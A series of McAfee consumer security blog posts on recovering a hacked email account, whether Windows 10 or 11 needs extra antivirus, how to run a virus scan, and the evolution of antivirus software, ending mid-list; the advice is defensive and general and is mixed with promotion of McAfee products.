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What to Do If Your Email Is Hacked

6 September 2025 at 09:00

I think I could count on one hand the people I know who have NOT had their email hacked. Maybe they found a four-leaf clover when they were kids! Email hacking is one of the very unfortunate downsides of living in our connected, digital world. And it usually occurs as a result of a data breach – a situation that even the savviest tech experts find themselves in.

What is a data breach?

In simple terms, a data breach happens when personal information is accessed, disclosed without permission, or lost. Companies, organisations, and government departments of any size can be affected. Data stolen can include customer login details (email addresses and passwords), credit card numbers, identifying IDs of customers e.g. driver’s license numbers and/or passport numbers, confidential customer information, company strategy, or even matters of national security.

Data breaches have made headlines, particularly over the last few years. When the Optus and Medibank data breaches hit the news in 2022 affecting almost 10 million Aussies apiece, we were all shaken. But then when Aussie finance company Latitude was affected in 2023 with a whopping 14 million people from both Australia and New Zealand, it almost felt inevitable that by now, most of us would have been impacted.

The reality is that data breaches have been happening for years. In fact, the largest data breach in Australian history happened in 2019 to the online design site Canva which affected 139 million users globally. In short, it can happen to anyone, and the chances are you may have already been affected.

Your email is more valuable than you think

The sole objective of a hacker is to get their hands on your data. Any information that you share in your email account can be very valuable to them. Why do they want your data, you ask? It’s simple really – so they can cash in!

Some will keep the juicy stuff for themselves – passwords or logins to government departments or large companies they may want to ’target’ with the aim of extracting valuable data and/or funds. The more sophisticated ones will sell your details including name, telephone, email address, and credit card details to cash in on the dark web. They often do this in batches. Some experts believe they can get as much as AU$250 for a full set of details including credit cards. So, you can see why they’d be interested in you.

The other reason why hackers will be interested in your email address and password is that many of us re-use our login details across our other online accounts. Once they’ve got their hands on your email credentials, they may be able to access your online banking and investment accounts, if you use the same credentials everywhere. So, you can see why I harp on about using a unique password for every online account!

How big is the problem?

There is a plethora of statistics on just how big this issue is – all of them concerning. According to the Australian Institute of Criminology, of all the country’s cybercrime reports in 2024, about 21.9% involved identity theft and misuse. The Australian Bureau of Statistics adds that the identity theft victimisation rate has steadily increased from 0.8% to 1.2% from 2021 to 2024, respectively.

Meanwhile, The Australian Government revealed that at least one cybercrime is reported every 6 minutes, with business email compromise alone costing the national economy up to $84 million in losses. Regardless of which statistic you choose to focus on, we have a big issue on our hands.

How does an email account get hacked?

Hackers use a range of techniques—some highly sophisticated, others deceptively simple—to gain access. It is important to know how these attacks happen so you can stay ahead and prevent them.

  • Phishing scams: These are deceptive emails that trick you into entering your login details on a fake website that looks legitimate.
  • Data breaches: If a website where you used your email and password gets breached, criminals can use those leaked credentials to try and access your email account.
  • Weak or reused passwords: Using simple, easy-to-guess passwords or the same password across multiple sites makes it easy for hackers to gain access.
  • Malware: Malicious software like keyloggers can be installed on your computer without your knowledge, capturing everything you type, including passwords.
  • Unsecure Wi-Fi networks: Using public Wi-Fi without a VPN can expose your data to criminals monitoring the network.

From email hack to identity theft

Yes, absolutely. An email account is often the central hub of your digital life. Once a cybercriminal controls it, they can initiate password resets for your other online accounts, including banking, shopping, and social media. They can intercept sensitive information sent to you, such as financial statements or medical records.

With enough information gathered from your emails, they can commit identity theft, apply for credit in your name, or access other sensitive services. If you suspect your email was hacked, it’s crucial to monitor your financial statements and consider placing a fraud alert with credit bureaus.

Signs that your email has been hacked

  • You can no longer log in. The most obvious sign of an email hack is when your password suddenly stops working. Cybercriminals often change the password immediately to lock you out.
  • Friends receive strange messages from you. If your contacts report receiving spam or phishing emails from your address that you didn’t send, it’s a major red flag that someone else has control of your account.
  • Unusual activity in your folders. Check your “Sent” folder for messages you don’t recognize. Hackers might also set up forwarding rules to send copies of your incoming emails to their own address, so check your settings for any unfamiliar forwarding addresses.
  • Password reset emails you didn’t request. Receiving unexpected password reset emails for other services (like your bank or social media) is a sign that a hacker is using your email to try and take over your other online accounts.
  • Security alerts from your provider. Pay attention to notifications about new sign-ins from unfamiliar devices, locations, or IP addresses. These are often the first warnings that your account has been compromised.

Steps to email recovery

If you find yourself a victim of email hacking, these are a few very important steps you need to take. Fast.

Change your password

Using a separate, clean device, this is the very first thing you must do to ensure the hacker can’t get back into your account. It is essential that your new password is complex and totally unrelated to previous passwords. Always use random words and characters, a passphrase with a variety of upper and lower cases, and throw in some symbols and numbers.

I really like the idea of a crazy, nonsensical sentence – easier to remember and harder to crack! But, better still, get yourself a password manager that will create a password that no human would be capable of creating. If you find the hacker has locked you out of your account by changing your password, you will need to reset the password by clicking on the ‘Forgot My Password’ link.

Update other accounts that use the same password

This is time-consuming, but essential. Ensure you change any other accounts that use the same username and password as your compromised email. Hackers love the fact that many people use the same logins for multiple accounts, so it is guaranteed they will try your info in other email applications and sites such as PayPal, Amazon, Netflix – you name it!

Once the dust has settled, review your password strategy for all your online accounts. A best practice is to ensure every online account has its own unique and complex password.

Sign out of all devices

Most email services have a security feature that lets you remotely log out of all active sessions. Once you’ve changed your password, signing out from your email account also signs out the hacker and forces them to log-in with the new password, which fortunately they do not know. These, combined with two- or multi-factor authentication, will help you to regain control of your account and prevent further compromise.

Inform your email contacts

A big part of the hacker’s strategy is to get their claws into your address book to hook others as well. Send a message to all your email contacts as soon as possible so they know to avoid opening any emails—most likely loaded with malware—that have come from you.

Commit to multi-factor authentication

Two-factor or multi-factor authentication may seem like an additional, inconvenient step to your login, but it also adds another layer of protection. Enabling this means you will need a special one-time-use code to log in, aside from your password. This is sent to your mobile phone or generated via an authenticator app. So worthwhile!

Check your email settings

It is common for hackers to modify your email settings so that a copy of every email you receive is automatically forwarded to them. Not only can they monitor your logins to other sites; they can also keep a watchful eye on any particularly juicy personal information. So, check your mail forwarding settings to ensure no unexpected email addresses have been added.

Also, ensure your ‘reply to’ email address is actually yours. Hackers have been known to create an email address that looks similar to yours, so that when someone replies, it will go straight to their account, not yours.

Don’t forget to check your email signature to ensure nothing spammy has been added, as well as your recovery phone number and alternate email address. Hackers also change these to maintain control. Update them to your own secure details.

Scan your computer for malware and viruses

Regularly scanning your devices for unwanted invaders is essential. If you find anything, please ensure it is addressed, and then change your email password again. If you don’t have antivirus software, please invest in it.

Comprehensive security software will provide you with a digital shield for your online life, protecting all your devices – including your smartphone – from viruses and malware. Some services also include a password manager to help you generate and store unique passwords for all your accounts.

Consider creating a new email address

If you have been hacked several times and your email provider isn’t mitigating the amount of spam you are receiving, consider starting afresh. Do not, however, delete your old email address because email providers are known to recycle old email addresses. This means a hacker could spam every site they can find with a ‘forgot my password’ request and try to impersonate you and steal your identity.

Your email is an important part of your online identity so being vigilant and addressing any fallout from hacking is essential for your digital reputation. Even though it may feel that getting hacked is inevitable, you can definitely reduce your risk by installing some good-quality security software on all your devices.

Trusted and reliable comprehensive security software will alert you when visiting risky websites, warn you when a download looks dodgy, and block annoying and dangerous emails with anti-spam technology. It makes sense really – if you don’t receive the dodgy phishing email – you can’t click on it. Smart!

Finally, don’t forget that hackers love social media – particularly those of us who overshare on it. So, before you post details of your adorable new kitten, remember it may just provide the perfect clue for a hacker trying to guess your email password!

Report the incident

Reporting an email hack is a crucial step to create a necessary paper trail for disputes with banks or credit agencies. When reporting, gather evidence such as screenshots of suspicious activity, unrecognized login locations and times, and any phishing emails you received. This information can be vital for the investigation.

  • Your email provider: Use their official support or recovery channels immediately. They can help you investigate and regain control of your account. Do not use links from suspicious emails claiming to be from support.
  • Financial institutions: If you’ve disclosed sensitive financial information or use the email for banking, contact your bank and credit card companies immediately. Alert them to potential fraud and monitor your statements.
  • Friends, family, and contacts: Send a message to your contacts warning them that your account was compromised. Advise them not to open suspicious messages or click on links sent from your address during that time.
  • Your employer: If it’s a work email, or if your personal email is used for work purposes, notify your IT department immediately. They need to take steps to protect company data and systems.
  • Relevant authorities: For financial loss or identity theft, you can report the incident to authorities like the FBI’s Internet Crime Complaint Center or Action Fraud in the UK. This creates an official record and aids in wider law enforcement efforts.

Check if online accounts linked to your email were compromised

  • Prioritize critical accounts: Immediately check your online banking, financial, and government-related accounts. Review recent activity for any unauthorized transactions or changes.
  • Review social media and shopping sites: Check your social media for posts or messages you didn’t send. Review your online shopping accounts like Amazon for any purchases or address changes you don’t recognize.
  • Enable alerts: Turn on login and transaction alerts for your sensitive accounts. This will give you real-time notifications of any suspicious activity in the future.

Should you delete your hacked email account?

Generally, no. Deleting the account can cause more problems than it solves. Many online services are linked to that email, and deleting it means you lose the ability to receive password reset links and security notifications for those accounts.

More importantly, some email providers recycle deleted addresses, meaning a hacker could potentially re-register your old email address and use it to impersonate you and take over your linked accounts.

The better course of action is to regain control, thoroughly secure the account with a new password and multi-factor authentication, and clean up any damage. Only consider migrating to a new email address after you have fully secured the old one.

Future-proof your email after reclaiming control

  • Run a full security scan: Before doing anything else, run a comprehensive scan with a trusted antivirus program on all your devices to ensure no malware or keyloggers remain.
  • Double-check security settings: Confirm that your recovery email and phone number are correct and that multi-factor authentication is enabled, preferably using an authenticator app rather than SMS.
  • Review account permissions: Check which third-party apps and websites have access to your email account. Revoke access for any service you don’t recognize or no longer use.
  • Set periodic reminders: Make it a habit to review your account’s security logs and settings every few months to catch any potential issues early.
  • Learn to spot phishing: Be skeptical of unsolicited emails asking for personal information or creating a sense of urgency. Check the sender’s address and hover over links before clicking.
  • Keep software updated:Regularly update your operating system, web browser, and security software to protect against the latest vulnerabilities.
  • Secure your devices: Use comprehensive security software like McAfee+ on all your devices—computers, tablets, and smartphones—to protect against malware, viruses, and risky websites.

Provider-specific email recovery

Each email provider has a specific, structured process for account recovery. It is vital to only use the official recovery pages provided by the service and be wary of scam websites or third-party services that claim they can recover your account for a fee. Below are the official steps of the major providers that you can follow.

Gmail

  1. Go to Google’s official Account Recovery page.
  2. Enter your email address and follow the on-screen prompts. You will be asked questions to confirm your identity, such as previous passwords or details from your recovery phone number or email.
  3. Once you regain access, you will be prompted to create a new password.
  4. Immediately visit the Google Security Checkup to review recent activity, remove unfamiliar devices, check third-party app access, and enable 2-step verification.

Yahoo email

  1. Navigate to the Yahoo Sign-in Helper page.
  2. Enter your email address or recovery phone number and click “Continue.”
  3. Follow the instructions to receive a verification code or account key to prove your identity.
  4. Once verified, create a new, strong password.
  5. After regaining access, go to your Account Security page to review recent activity, check recovery information, and turn on 2-step verification.

Outlook or Hotmail

  1. Go to the official Microsoft account recovery page.
  2. You’ll need to provide your email, phone, or Skype name, and verify your identity using the security information linked to your account.
  3. If you cannot access your recovery methods, you will be directed to an account recovery form where you must provide as much information as possible to prove ownership.
  4. After resetting your password, visit your Microsoft account security dashboard to review sign-in activity, check connected devices, and enable two-step verification.

Final thoughts

Your email account is the master key to your digital kingdom, and protecting it is more critical than ever since many of your other accounts are connected with your email. Realizing “my email has been hacked” is a stressful experience, but taking swift and correct action can significantly limit the damage.

By following the recovery steps and adopting strong, ongoing security habits like using a password manager and enabling multi-factor authentication, you can turn a potential crisis into a lesson in digital resilience. Stay vigilant, stay proactive, and keep your digital front door securely locked.

To add another wall of defense, consider investing in a trusted and reliable comprehensive security software like McAfee+. Our solution will help you dodge hacking attempts by alerting you when visiting risky websites, or downloading questionable apps, and blocking malicious emails with anti-spam technology.

The post What to Do If Your Email Is Hacked appeared first on McAfee Blog.

Does Windows 10 or 11 Need Antivirus Software?

25 May 2025 at 08:17

If your PC runs on Windows 10, you’re in very good company. The Microsoft operating system is the most widely used OS in the world.

However, the rollout to Windows 11 began in 2021, with Windows 10’s support lifecycle ending on October 14, 2025. After this date, Microsoft will stop providing free security updates, technical support, or software updates for Windows 10. If you are a Windows 10 user, this means you will need to upgrade to the newer OS or purchase extended security updates to continue using the old OS securely.

Unfortunately, its success as a widely used operating system makes Windows attractive to hackers. If malicious software could make a home in Windows, a lot of targets would ask how best to protect your Windows 10 or 11 device. Should you just use Windows Security — Microsoft’s free version of antivirus software — or buy additional protection?

Read on to learn what Microsoft Security covers and how additional virus protection can secure all of your connected devices.

Windows 10 antivirus software

Windows Defender is a free antivirus tool that’s built into the Windows operating system. Initially released as an anti-spyware program for Windows XP and Windows Server 2003, it became a full antivirus program with Windows 8 in 2012.

Today, Windows Defender antivirus is part of the Windows Security suite, which offers a comprehensive solution that includes Windows Firewall and Smart App Control for real-time protection against threats. While it’s considered one of the best free antivirus software programs, Windows Defender doesn’t have any extra features that might come with paid security software. If you’re just looking for good antivirus software, it can get the job done.

Check that Windows Defender is on

If you’re not using third-party antivirus protection, you’ll want to make sure that your Windows Defender antivirus coverage is working on your computer. Here’s how to check:

  1. Go to the control panel and click System and Security.
  2. Click Windows Defender Firewall.
  3. A window will open showing if the firewall is on.
  4. If you need to turn on Windows Defender, use the settings in the menu.
  5. Close all browser windows and restart your computer.

To make sure your Windows Security is running, follow these steps:

  1. Click CTRL+Alt+Del and select Task Manager.
  2. Look at the tabs and click Services.
  3. Scroll down to Windows Defender and see if it is classified as “running.”

Windows Defender capabilities and limitations

Windows Defender is a convenient and cost-effective way to protect your Microsoft device from viruses. With features like real-time protection, firewall integration, and cloud-based threat detection, it provides a solid baseline of security for your computer. This overview explores what Windows Defender does well and where it falls short:

Key features

  • Real-time protection: Monitors your system continuously for threats and blocks them before they can cause harm
  • Cloud-delivered protection: Utilizes cloud intelligence for near-instant detection and blocking of new and emerging threats
  • Firewall: Allows you to control network traffic in and out of your device
  • Ransomware protection: Prevents unauthorized applications from modifying important files. This feature, however, needs to be enabled manually
  • Security intelligence updates: Receives regular updates to its malware definitions to stay protected against the latest threats

Limitations

While Windows Defender has vastly improved, it still has some limitations compared to other comprehensive security and antivirus suites.

  • Phishing protection: Phishing detection is not as strong as some third-party solutions, according to PCMag tests.
  • Web protection: SmartScreen works only in Microsoft Edge, potentially leaving users of other browsers more vulnerable.
  • Performance impact: Sometimes impacts system performance, particularly during scans
  • Ransomware protection: Not enabled by default and might not be as robust as dedicated anti-ransomware tools
  • Limited features: Lacks advanced features found in many paid security products that integrate capabilities, such as VPNs, password managers, dark web monitoring, and dedicated webcam protection.

Activate Windows Defender antivirus features

  1. Open Windows Security: Click the Start menu, type “Windows Security,” and select the app from the results. This is your central hub for PC protection.
  2. Run a scan: In Windows Security, go to “Virus & threat protection” and run a “Quick scan” to check common areas for threats. For a more thorough check, click “Scan options” and select “Full scan,” which examines every file and running programs on your hard disk.
  3. Manage real-time protection: Under “Virus & threat protection settings,” ensure that “Real-time protection” is on to actively scan for malware and prevent infections.
  4. Schedule a scan: Type “Task Scheduler” in the Start menu, then navigate to Task Scheduler Library > Microsoft > Windows > Windows Defender. Customize the “Windows Defender Scheduled Scan” properties to run at a convenient time.
  5. Update virus definitions: Under “Virus & threat protection,” find “Virus & threat protection updates.” Click “Check for updates” to ensure Defender has the latest information to identify new threats. Windows typically does this automatically, but a manual check is always a good idea.

More hostile threats call for more extensive protection

While Windows Security and Windows Defender offer robust baseline malware protection, modern digital threats go far beyond simple viruses. To stay truly safe, you need to look at the bigger picture of online security. This is where a comprehensive security suite offers significant advantages over a standalone antivirus tool.

Here’s a quick comparison between the built-in Windows Defender and what a full-featured security suite offers:

Feature Windows Defender Comprehensive Suites
Antivirus & malware protection Yes (strong baseline) Yes (advanced)
Firewall Yes Yes (advanced, customizable)
Secure VPN No Yes
Identity monitoring No Yes
Cross-device protection (Mac, Android, iOS) No Yes
Password manager Limited (browser-based) Yes (secure, cross-device)
Web protection Yes (Edge browser) Yes (all browsers)

Staying protected with Windows 11

Cybercriminals constantly develop new malware, sophisticated phishing scams, elaborate ruses and zero-day exploits that target your behavior—like tricking you into clicking a malicious link, downloading a compromised file, or giving your personal information such as your bank and credit card numbers. Some scams even target your devices with risky apps or links on social media.

As thousands of new threat variants are discovered daily, having dedicated and up-to-date virus protection for Windows 11 is essential for comprehensive security. Ultimately, you don’t need to disable Windows Defender’s firewall, but adding a comprehensive security suite provides crucial layers of protection against phishing, identity theft, and unsecured Wi-Fi that are essential for staying safe online today. Having another antivirus program can make sure you have real-time protection and access to the latest security features. Better to be safe than sorry!

Better security with Windows 11

From Windows 10, the upgraded Windows 11 introduces significant security enhancements, thanks to a more robust security architecture that applies stricter hardware requirements. Mandatory features such as Trusted Platform Module (TPM) 2.0, Virtualization-Based Security (VBS), and Secure Boot create a much stronger “secure-by-default” defense against attacks that target the boot process and system integrity.

However, this enhanced baseline security does not eliminate the need for more diligent protection. The vast majority of cyberattacks target the user, not the hardware. Cybercriminals still employ phishing emails, malicious downloads, and insecure websites to compromise your device, regardless of the operating system’s strength. While it’s true that Windows 11 has made great strides in security, the threat landscape has evolved even faster. Installing a multi-layered security solution remains a critical tool for proactively protecting your personal data and online activities.

Augmenting with a free antivirus

In Windows 11, you can augment the built-in Windows Defender with a free antivirus option, but it’s important to understand the trade-offs. Free antivirus solutions typically offer only basic malware protection and lack crucial features that are standard in paid suites, such as a secure VPN, identity monitoring services, advanced phishing protection, a password manager, and dedicated customer support. Some free software may also collect and sell your browsing data to third parties to generate revenue.

While free is tempting, investing in a paid suite with total protection provides peace of mind, knowing that all aspects of your digital life—from your device security to your personal identity and online privacy—are actively protected by an integrated, powerful solution.

Best practices for security on Windows

Using Microsoft’s built-in antivirus software can protect your Windows devices from viruses and malware. Follow these basic Windows Defender management steps:

  • Accessing settings: You can access the Windows Security app (where Defender is managed) through the Start menu > Settings > Update & Security > Windows Security > Virus & threat protection.
  • Running scans: Quick, Full, and Custom scans can be initiated through the Windows Security app.
  • Checking for updates: Security intelligence updates can be checked for and downloaded manually within the Windows Security app.

Quick tips to stay more secure on Windows

  • Always keep your Windows operating system and all applications updated.
  • Trust your instincts and think twice before clicking on suspicious links or email attachments.
  • Use a password manager to create and store strong, unique passwords for every account.
  • Protect your privacy on public Wi-Fi by always using a trusted VPN.
  • Go beyond basic antivirus with a solution that also protects your identity and privacy.

Keeping your 3rd-party antivirus with Windows 11

In most cases, you can retain your third-party antivirus when you move to Windows 11. Reputable antivirus providers ensure their software is fully compatible with new operating system releases. Before you upgrade to Windows 11, ensure your antivirus software is updated to the latest version. Your subscription should carry over to the new OS seamlessly.

The benefit of using a cross-platform security suite is that your license and protection extend beyond a single OS version. Whether you’re on Windows 10, Windows 11, a Mac, or a mobile device, your protection remains active and managed from a single account, avoiding the hassle of finding new software or purchasing new licenses every time you upgrade or change devices.

Essential antivirus features

Windows Defender provides a solid starting point of security for your computer, but it is good to reinforce that capability with a comprehensive solution. Antivirus protection programs available in the market today aren’t all created equal. When looking for the best antivirus software for your needs, here are some things to consider for your devices running on Windows 11.

  • Compatibility across multiple operating systems: If you own a Windows personal computer, an iPhone, and a tablet that runs on Chrome, it helps to have an antivirus app that works across multiple operating systems. Many trusted premium protection services are compatible with Windows, Mac, iOS, and Android devices, allowing you to enjoy all your devices without losing protection.
  • Protection against a variety of online threats: For greater cybersecurity, a reliable antivirus software should defend against a variety of online threats like viruses, spyware, and ransomware. Make sure your chosen antivirus software can alert you when it recognizes a risky link, website, or file.
  • Easy to use: Functionality is another thing to consider, especially if you want to easily manage multiple devices. Opt for a suite that allows you to connect and manage all of your desktop and mobile devices from one single dashboard.
  • Real-time and scheduled scanning: To keep your devices free from online threats, good antivirus software should be able to scan your files for threats 24/7, providing protection with real-time, on-demand scanning of files and applications.

McAfee’s capabilities for total protection

Today’s cybercriminals are relentlessly creating new threats every day to steal your identity, money, and personal data. Thinking of antivirus as just for viruses is outdated; modern security suites are about total digital wellness. McAfee+ was developed with an understanding of how cybercriminals operate. Our all-in-one protection includes:

  • Virtual Private Network (VPN): A VPN is one of the biggest benefits of using a complete, third-party antivirus protection. When you use public Wi-Fi, it’s possible for a hacker to see your data. A VPN encrypts your data to protect it from prying eyes. It also conceals your device’s IP address and geolocation.
  • Identity monitoring: Get 24/7 monitoring of your email addresses and bank accounts with up to $1 million in ID theft coverage. With early detection, an easy setup, and extensive monitoring (keeping tabs on up to 60 unique types of personal information), you can continue to live your best life online.
  • Protection score: We’ll look at the health of your online protection and give you a protection score. We’ll also recommend how to address weak spots and improve your security.
  • PC optimization: To speed up your online activities, McAfee PC Optimizer automatically blocks auto-play on pop-up videos to give you more bandwidth and save battery power. It also disposes of temporary files and cookies to free up disk space.
  • Password manager: One good way to keep your data secure is to use strong passwords that are unique for each account. Our password manager generates complex passwords, stores them, and lets you access shared passwords on your mobile devices.

Safe digital habits to regularly observe

  • Enable automatic updates: Ensure both Windows and your applications are set to update automatically. This is your first line of defense against exploits that target software vulnerabilities.
  • Use a standard user account: For daily tasks, use a standard user account instead of an administrator account to limit the potential damage during a malware attack.
  • Implement secure backups: Regularly back up your important files to an external drive or a secure cloud service to ensure you can recover your data in case of a ransomware attack.
  • Activate multi-factor authentication (MFA): Enable MFA on all your important online accounts (email, banking, social media) for a powerful layer of security beyond just a password.
  • Install comprehensive security software: Use a reputable, all-in-one security suite that provides an antivirus, firewall, VPN, and identity protection to cover all your security needs.

Final thoughts

Whether you’re using Windows 10 or the latest Windows 11, the built-in Microsoft Defender provides a good starting point for your device’s security. However, an antivirus is just one layer of security. To be truly protected from the full spectrum of today’s online threats, you need a more comprehensive approach. Adding a trusted security suite gains you layers of protection for your identity, privacy, and data that go far beyond basic antivirus defense.

When you install a third-party antivirus like McAfee Total Protection, it seamlessly takes over as the primary real-time protection provider, while Windows Defender can remain available for periodic scans, ensuring there are no conflicts. To check your security status, simply navigate to Windows Security > Virus & threat protection to see which provider is active.

For complete peace of mind, comprehensive solutions like McAfee Total Protection add critical features like a VPN for online privacy, identity monitoring, and protection for all your devices, not just your Windows personal computer.

The post Does Windows 10 or 11 Need Antivirus Software? appeared first on McAfee Blog.

How To Do A Virus Scan

By: McAfee
19 May 2025 at 06:23

New online threats emerge every day, putting our personal information, money and devices at risk. In its 2024 Internet Crime Report, the Federal Bureau of Investigation reports that 859,532 complaints of suspected internet crime—including ransomware, viruses and malware, data breaches, denials of service, and other forms of cyberattack—resulted in losses of over $16 billion—a 33% increase from 2023.

That’s why it is essential to stay ahead of these threats. One way to combat these is by conducting virus scans using proven software tools that constantly monitor and check your devices while safeguarding your sensitive information. In this article, we’ll go through everything you need to know to run a scan effectively to keep your computers, phones and tablets in tip-top shape.

What does a virus scan do?

Whether you think you might have a virus on your computer or devices or just want to keep them running smoothly, it’s easy to do a virus scan.

Each antivirus program works a little differently, but in general the software will look for known malware with specific characteristics, as well as their variants that have a similar code base. Some antivirus software even checks for suspicious behavior. If the software comes across a dangerous program or piece of code, the antivirus software removes it. In some cases, a dangerous program can be replaced with a clean one from the manufacturer.

Unmistakeable signs of a virus in your device

Before doing a virus scan, it is useful to know the telltale signs of viral presence in your device. Is your device acting sluggish or having a hard time booting up? Have you noticed missing files or a lack of storage space? Have you noticed emails or messages sent from your account that you did not write? Perhaps you’ve noticed changes to your browser homepage or settings? Maybe you’re seeing unexpected pop-up windows, or experiencing crashes and other program errors. These are just some signs that your device may have a virus, but don’t get too worried yet because many of these issues can be resolved with a virus scan.

Are free virus scanner tools safe and sufficient?

Free virus scanner tools, both in web-based and downloadable formats, offer a convenient way to perform a one-time check for malware. They are most useful when you need a second opinion or are asking yourself, “do I have a virus?” after noticing something suspect.

However, it’s critical to be cautious. For one, cybercriminals often create fake “free” virus checker tools that are actually malware in disguise. If you opt for free scanning tools, it is best to lean on highly reputable cybersecurity brands. On your app store or browser, navigate to a proven online scanning tool with good reviews or a website whose URL starts with “https” to confirm you are in a secure location.

Secondly, free tools are frequently quite basic and perform only the minimum required service. If you choose to go this path, look for free trial versions that offer access to the full suite of premium features, including real-time protection, a firewall, and a VPN. This will give you a glimpse of a solution’s comprehensive, multi-layered security capability before you commit to a subscription.

Cloud-based virus solutions

If safeguarding all your computers and mobile devices individually sounds overwhelming, you can opt for comprehensive security products that protect computers, smartphones and tablets from a central, cloud-based hub, making virus prevention a breeze. Many of these modern antivirus solutions are powered by both local and cloud-based technologies to reduce the strain on your computer’s resources.

Online virus scan: A step-by-step guide

This guide will walk you through the simple steps to safely scan your computer using reliable online tools, helping you detect potential threats, and protect your personal data.

1. Choose a trusted provider

When selecting the right antivirus software, look beyond a basic virus scan and consider these key features:

  • Real-time protection. This is paramount, as it actively blocks threats before they can execute.
  • An effective solution must also have a minimal performance impact so it doesn’t slow down your device.
  • Look for a program with an intuitive interface that makes it easy to schedule scans and manage settings.
  • The best protection goes beyond a simple virus detector. It should include features such as a firewall, a secure VPN for safe browsing, and identity protection.
  • Look for reliable brands with positive reviews and clear privacy policies, and that provide a powerful virus scanner and proactive protection for both Android and iOS devices.

2. Initiate the scan

The process of checking for viruses depends on the device type and its operating system. Generally, however, the virus scanner will display a “Scan” button to start the process of checking your system’s files and apps.

Here are more specific tips to help you scan your computers, phones and tablets:

On a Windows computer

If you use Windows 11, go into “Settings” and drill down to the “Privacy & Security > Windows Security > Virus & Threat Protection” tab, which will indicate if there are actions needed. This hands-off function is Microsoft’s own basic antivirus solution called Windows Defender. Built directly into the operating system and enabled by default, this solution provides a baseline of protection at no extra cost for casual Windows users. However, Microsoft is the first to admit that it lags behind specialized paid products in detecting the very latest zero-day threats.

On a Mac computer

Mac computers don’t have a built-in antivirus program, so you will have to download security software to do a virus scan. As mentioned, free antivirus applications are available online, but we recommend investing in trusted software that is proven to protect you from cyberthreats.

If you decide to invest in more robust antivirus software, running a scan is usually straightforward and intuitive. For more detailed instructions, we suggest searching the software’s help menu or going online and following their step-by-step instructions.

On smartphones and tablets

Smartphones and tablets are powerful devices that you likely use for nearly every online operation in your daily life from banking, emailing, messaging, connecting, and storing personal information. This opens your mobile device to getting infected through malicious apps, especially those downloaded from unofficial stores, phishing links sent via text or email, or by connecting to compromised wi-fi networks.

Regular virus scans with a mobile security software are crucial for protecting your devices. Be aware, however, that Android and IOS operating systems merit distinct solutions.

Antivirus products for Android devices abound due to this system’s open-source foundation. However, due to Apple’s strong security model, which includes app sandboxing, traditional viruses are rare on iPhones and iPads. However, these devices are not immune to all threats. You can still fall victim to phishing scams, insecure Wi-Fi networks, and malicious configuration profiles. Signs of a compromise can include unusual calendar events, frequent browser redirects, or unexpected pop-ups.

Apple devices, however, closed platform doesn’t easily accommodate third-party applications, especially unvetted ones. You will most likely find robust and verified antivirus scanning tools on Apple’s official app store.

Scanning files and attachments safely

Before you open any downloaded file or email attachment, it’s wise to check it for threats. To perform a targeted virus scan on a single file, simply right-click the file in Windows Explorer or macOS Finder and select the “Scan” option from the context menu to run the integrated virus checker on a suspicious item.

For an added layer of security, especially involving files from unknown sources, you can use a web-based file-checking service that scans for malware. These websites let you upload a file, which is then analyzed by multiple antivirus engines. Many security-conscious email clients also automatically scan incoming attachments, but a manual scan provides crucial, final-line defense before execution.

3. Review scan results and take action

Once the scan is complete, the tool will display a report of any threats it found, including the name of the malware and the location of the infected file. If your antivirus software alerts you to a threat, don’t panic—it means the program is doing its job.

The first and most critical step is to follow the software’s instructions. It might direct you to quarantine the malicious file to isolate the file in a secure vault where it can no longer cause harm. You can then review the details of the threat provided by your virus scanner and choose to delete the file permanently, which is usually the safest option.

After the threat is handled, ensure your antivirus software and operating system are fully updated. Finally, run a new, full system virus scan to confirm that all traces of the infection have been eliminated. Regularly backing up your important data to an external drive or cloud service can also be a lifesaver in the event of a serious infection.

4. Schedule an automatic scan for continuous protection

The most effective way to maintain your device’s security is to automate your defenses. A quality antivirus suite allows you to easily schedule a regular virus scan so you’re always protected without having to do it manually. A daily quick scan is a great habit for any user; it’s fast and checks the most vulnerable parts of your system. Most antivirus products regularly scan your computer or device in the background, so a manual scan is only needed if you notice something dubious, like crashes or excessive pop-ups. You can also set regular scans on your schedule, but a weekly full scan is ideal.

Final thoughts

These days, it is essential to stay ahead of the wide variety of continuously evolving cyberthreats. Your first line of defense against these threats is to regularly conduct a virus scan. You can choose among the many free yet limited-time products or comprehensive, cloud-based solutions.

While many free versions legitimately perform their intended function, it’s critical to be cautious as these are more often baseline solutions while some are malware in disguise. They also lack the continuous, real-time protection necessary to block threats proactively.

A better option is to invest in verified, trustworthy, and all-in-one antivirus products like McAfee+ that, aside from its accurate virus scanning tool, also offers a firewall, a virtual private network, and identity protection. For complete peace of mind, upgrading to a paid solution like McAfee Total Protection is essential for proactively safeguarding your devices and data in real-time, 24/7.

The post How To Do A Virus Scan appeared first on McAfee Blog.

The Evolution of Antivirus Software to Face Modern Threats

2 February 2023 at 12:00

Over the years, endpoint security has evolved from primitive antivirus software to more sophisticated next-generation platforms employing advanced technology and better endpoint detection and response.

Because of the increased threat that modern cyberattacks pose, experts are exploring more elegant ways of keeping data safe from threats.

Signature-Based Antivirus Software

Signature-based detection is the use of footprints to identify malware. All programs, applications, software and files have a digital footprint. Buried within their code, these digital footprints or signatures are unique to the respective property. With signature-based detection, traditional antivirus products can scan a computer for the footprints of known malware.

These malware footprints are stored in a database. Antivirus products essentially search for the footprints of known malware in the database. If they discover one, they’ll identify the malware, in which case they’ll either delete or quarantine it.

When new malware emerges and experts document it, antivirus vendors create and release a signature database update to detect and block the new threat. These updates increase the tool’s detection capabilities, and in some cases, vendors may release them multiple times per day.

With an average of 350,000 new malware instances registered daily, there are a lot of signature database updates to keep up with. While some antivirus vendors update their programs throughout the day, others release scheduled daily, weekly or monthly software updates to keep things simple for their users.

But convenience comes at the risk of real-time protection. When antivirus software is missing new malware signatures from its database, customers are unprotected against new or advanced threats.

Next-Generation Antivirus

While signature-based detection has been the default in traditional antivirus solutions for years, its drawbacks have prompted people to think about how to make antivirus more effective. Today’s next-generation anti-malware solutions use advanced technologies like behavior analysis, artificial intelligence (AI) and machine learning (ML) to detect threats based on the attacker’s intention rather than looking for a match to a known signature.

Behavior analysis in threat prevention is similar, although admittedly more complex. Instead of only cross-checking files with a reference list of signatures, a next-generation antivirus platform can analyze malicious files’ actions (or intentions) and determine when something is suspicious. This approach is about 99% effective against new and advanced malware threats, compared to signature-based solutions’ average of 60% effectiveness.

Next-generation antivirus takes traditional antivirus software to a new level of endpoint security protection. It goes beyond known file-based malware signatures and heuristics because it’s a system-centric, cloud-based approach. It uses predictive analytics driven by ML and AI as well as threat intelligence to:

  • Detect and prevent malware and fileless attacks
